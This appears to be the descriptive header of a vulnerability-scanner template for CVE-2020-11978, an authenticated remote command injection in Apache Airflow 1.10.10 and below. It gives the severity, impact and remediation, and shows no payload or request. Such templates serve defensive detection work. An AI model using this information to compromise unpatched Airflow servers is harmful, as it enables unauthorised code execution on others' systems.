id: CVE-2020-11978
|
|
|
|
info:
|
|
name: Apache Airflow <=1.10.10 - Remote Code Execution
|
|
author: pdteam
|
|
severity: high
|
|
description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
|
remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
